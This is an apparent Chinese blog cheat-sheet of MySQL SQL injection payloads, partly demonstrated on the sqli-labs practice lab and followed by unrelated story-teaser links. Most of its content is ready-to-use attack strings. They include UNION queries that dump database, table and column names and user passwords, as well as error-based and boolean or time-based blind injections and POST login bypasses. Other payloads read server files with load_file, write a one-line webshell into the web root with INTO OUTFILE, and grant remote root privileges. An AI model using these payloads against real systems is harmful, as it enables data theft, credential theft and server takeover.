MySQL注入总结

目录:

0x00 mysql一般注入(select)

0x01 mysql一般注入(insert、update)

0x02 mysql报错注入

0x03 mysql一般盲注

0x04 mysql时间盲注

0x05 mysql其他注入技巧

0x06 mysql数据库版本特性

正文:

0x00 mysql一般注入(select)

1.注释符

#
/*
--

2.过滤空格注入

使用/**/或()或+代替空格

%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line

3.多条数据显示

concat()
group_concat()
concat_ws()

4.相关函数

system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

5.mysql一般注入语句
判断注入类型

  1. 加单引号’
    比如:从报错信息判断,令id=-1’,报错:
  • (为什么是id = -1不是1,因为源码有limit 0,1限制只输出第一条数据,若是1,则输出id=1的数据,我们想要的数据就显示不了,所以用-1就只输出我们要的数据)

  • 或者用id =1 and 1=2 来使语句为假。


  • 将near和at之间字符串的左右引号去掉,得到'-1'') LIMIT 0,1。-1的右边多了一个',后面还有个括号,代码应该是id=('$id')

  • 则需要闭合(‘ ’)

  1. 加双引号”
    单引号没反应,可能是由双引号闭合了,单引号在双引号内是合法的,此时加双引号“测试。

猜字段数

order by n/*

查看mysql基本信息

  • and 1=2 的作用是,令前面id=1 and 1=2 为假,不输出内容,这样就可以输出我们后面union 语句的内容了。
    and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*

查询数据库

and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*

and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*

查询表名

and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码/*

查询字段

and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码/*

查询数据

and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*

and 1=2 union select 1,username,password from users limit 0,1 %23

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- -

判断是否具有读写权限

and (select count(*) from mysql.user)>0/*

and (select count(file_priv) from mysql.user)>0/*

6.mysql读取写入文件

必备条件:

  1. 读:file权限必备

  2. 写:

  • 绝对路径
  • union使用
  • 可以使用''

-------------------------读----------------------

mysql3.x读取方法

create table a(cmd text);

load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;

select * from a;

mysql4.x读取方法

除上述方法还可以使用load_file()

create table a(cmd text);

insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));

select * from a;

mysql5.x读取方法

上述两种都可以


load_file(char(32,26,56,66))

load_file(0x633A5C626F6F742E696E69)

------------写--------------------------

into outfile写文件

union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

0x01 mysql一般注入(insert、update)

mysql一般请求mysql_query不支持多语句执行,mysqli可以。

insert注入多使用报错注入!

1. 如果可以直接插入管理员可以直接使用!

insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');

2. 如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来获取cookies或getshell

update注入同上

0x02 mysql报错注入

1. [sqli-lab-less5(get)/13(post):正常情况不输出任何数据,所以要用报错注入的方法]
   and (select 1 from  (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x)a) %23 
2. and(select 1 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

语句处填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1

3. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--

4.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);

5.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));

0x03 mysql基于布尔的盲注

  • 盲注:没有返回错误信息,用盲注
  • 基于布尔型:
    or 1=1
    and 1=1

使用ascii
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<115 ) -- +

AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

使用正则表达式

and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

0x04 mysql基于时间的盲注

  • 基于时间:
    and sleep(5) -- -

1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl

UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root'

0x05 mysql其他注入技巧

1 outfile 注入[sqli-labs-less-7]

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 into outfile "C:/wamp/www/sqli-labs-master/Less-7/2.txt" --+

2 post 方法(and 改成or)

2.1[sqli-labs-less-11]
  1. 单引号测试


  • 知道是单引号类型,抓包看post参数


    抓包知道参数是uname,passwd和submit
  1. 测试 ‘ or 1=1 -- -


    测试登陆成功
  2. payload

  • 判断字段数
    uname=123' order by 2-- - &passwd=123&submit=Submit
  • 爆数据库
    uname=123' union select database(),version() -- - &passwd=123&submit=Submit
  • 爆表
    uname=123' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database( ) -- - &passwd=123&submit=Submit
  • 爆字段
    uname=123' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- - &passwd=123&submit=Submit
  • 爆数据
    uname=123' union select username,password from security.users limit 0,1-- - &passwd=123&submit=Submit
2.2 post-报错注入 [sqli-labs-less-13]
  • 正常不显示任何数据--报错注入
  1. 爆库
    uname=123') or (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
  2. 爆表
    uname=123') or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
  3. 爆字段
    uname=123') or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
    4.爆数据
    uname=123') or (select 1 from (select count(*),concat((select username from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit

0x06 mysql数据库版本特性

1. mysql5.0以后 information.schema库出现

2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下

3. mysql5.x以后 system执行命令

0x07 声明

原文地址:http://lanu.sinaapp.com/PHP_study/108.html

报错注入:http://www.waitalone.cn/mysql-error-based-injection.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,390评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,821评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,632评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,170评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,033评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,098评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,511评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,204评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,479评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,572评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,341评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,213评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,576评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,893评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,171评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,486评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,676评论 2 335

推荐阅读更多精彩内容